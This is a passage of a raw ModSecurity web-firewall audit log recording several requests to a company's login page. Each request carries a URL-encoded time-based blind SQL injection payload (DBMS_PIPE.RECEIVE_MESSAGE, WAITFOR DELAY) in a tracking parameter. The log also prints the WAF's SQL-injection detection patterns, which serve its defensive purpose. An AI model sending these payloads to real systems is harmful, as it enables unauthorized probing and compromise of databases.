"CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89DFR6EeXjkGzEkblktQAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website;WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89DFR6EeXjkGzEkblktQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023436915686 192343 (- - -) Stopwatch2: 1750023436915686 192343; combined=3575, p1=340, p2=3095, p3=0, p4=0, p5=139, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --db8a9129-Z-- --94c91078-A-- [16/Jun/2025:03:07:18.289252 +0530] aE89DnZqyQ8YfVGvJU7YgQAAAAY 162.158.87.164 34360 127.0.0.1 7081 --94c91078-B-- GET /login-now/?utm_source=website%27%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28120%29%2C5%29%20FROM%20DUAL--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.87.164 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950535370c746919-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --94c91078-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --94c91078-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_source: website');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_source: website');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89DnZqyQ8YfVGvJU7YgQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023438233403 55950 (- - -) Stopwatch2: 1750023438233403 55950; combined=4300, p1=340, p2=3854, p3=0, p4=0, p5=106, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --94c91078-Z-- --4d473971-A-- [16/Jun/2025:03:07:18.849889 +0530] aE89Dh-kH31pk4mNbsU-6QAAAAo 172.70.240.23 34404 127.0.0.1 7081 --4d473971-B-- GET /login-now/?utm_source=website%27%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28120%29%2C5%29%20FROM%20DUAL--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.240.23 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505353a9d6ce7b0-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --4d473971-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --4d473971-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: website';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL found within MATCHED_VAR: website';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_source: website';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: website';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL found within MATCHED_VAR: website';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89Dh-kH31pk4mNbsU-6QAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_source: website';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89Dh-kH31pk4mNbsU-6QAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023438800722 49259 (- - -) Stopwatch2: 1750023438800722 49259; combined=4053, p1=375, p2=3515, p3=0, p4=0, p5=162, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4d473971-Z-- --bf6f2041-A-- [16/Jun/2025:03:07:19.171545 +0530] aE89D0NwpNEMJppxC49RpwAAAAI 162.158.111.183 34420 127.0.0.1 7081 --bf6f2041-B-- GET /login-now/?utm_source=website%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28120%29%2C5%29%20FROM%20DUAL--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.183 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505353e0f453603-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --bf6f2041-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --bf6f2041-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_source: website);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_source: website);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89D0NwpNEMJppxC49RpwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023439123116 48520 (- - -) Stopwatch2: 1750023439123116 48520; combined=3078, p1=345, p2=2627, p3=0, p4=0, p5=105, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bf6f2041-Z-- --de39e829-A-- [16/Jun/2025:03:07:19.493523 +0530] aE89D4rLgrklqy57Kk2cBQAAAAg 162.158.94.143 47506 127.0.0.1 7081 --de39e829-B-- GET /login-now/?utm_source=website%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28106%29%7C%7CCHR%28120%29%2C5%29%20FROM%20DUAL--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.143 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950535401d989f36-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --de39e829-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --de39e829-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_source: website;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_source: website;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(112)||CHR(122)||CHR(106)||CHR(120),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89D4rLgrklqy57Kk2cBQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023439447034 46581 (- - -) Stopwatch2: 1750023439447034 46581; combined=2858, p1=317, p2=2429, p3=0, p4=0, p5=112, sr=80, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --de39e829-Z-- --8fb3120f-A-- [16/Jun/2025:03:07:28.572804 +0530] aE89GIl8S04UZ4l67-nePAAAAAk 172.71.172.231 47984 127.0.0.1 7081 --8fb3120f-B-- GET /login-now/?utm_source=website%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27fAdp%27%3D%27fAdp&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.231 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950535765ea0d356-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --8fb3120f-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website)%20WAITFOR%20DELAY%200:0:5%20AND%20(fAdp=fAdp&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --8fb3120f-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27fAdp%27%3D%27fAdp&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website') WAITFOR DELAY '0:0:5' AND ('fAdp'='fAdp found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27fAdp%27%3D%27fAdp&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89GIl8S04UZ4l67-nePAAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website') WAITFOR DELAY '0:0:5' AND ('fAdp'='fAdp found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89GIl8S04UZ4l67-nePAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023448348090 224842 (- - -) Stopwatch2: 1750023448348090 224842; combined=4102, p1=392, p2=3516, p3=0, p4=0, p5=193, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8fb3120f-Z-- --9e3d1f2c-A-- [16/Jun/2025:03:07:30.744968 +0530] aE89GnZqyQ8YfVGvJU7YiQAAAAY 162.158.94.61 52202 127.0.0.1 7081 --9e3d1f2c-B-- GET /login-now/?utm_source=website%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27wJAB%27%3D%27wJAB&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.61 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505358409191987-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --9e3d1f2c-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website%20WAITFOR%20DELAY%200:0:5%20AND%20wJAB=wJAB&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --9e3d1f2c-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27wJAB%27%3D%27wJAB&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;*? ?waitfor (?:delay|time) [\\x22'`]|;.{0,399}?: ?goto)|\\balter ?\\w+.{0,399}?\\bcha(?:racte)?r set \\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: website' WAITFOR DELAY '0:0:5' AND 'wJAB'='wJAB found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website' WAITFOR DELAY '0:0:5' AND 'wJAB'='wJAB found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27wJAB%27%3D%27wJAB&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89GnZqyQ8YfVGvJU7YiQAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;*? ?waitfor (?:delay|time) [\\\\\\\\x22'`]|;.{0,399}?: ?goto)|\\\\\\\\balter ?\\\\\\\\w+.{0,399}?\\\\\\\\bcha(?:racte)?r set \\\\\\\\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: website' WAITFOR DELAY '0:0:5' AND 'wJAB'='wJAB found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89GnZqyQ8YfVGvJU7YiQAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website' WAITFOR DELAY '0:0:5' AND 'wJAB'='wJAB found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89GnZqyQ8YfVGvJU7YiQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023450551629 193472 (- - -) Stopwatch2: 1750023450551629 193472; 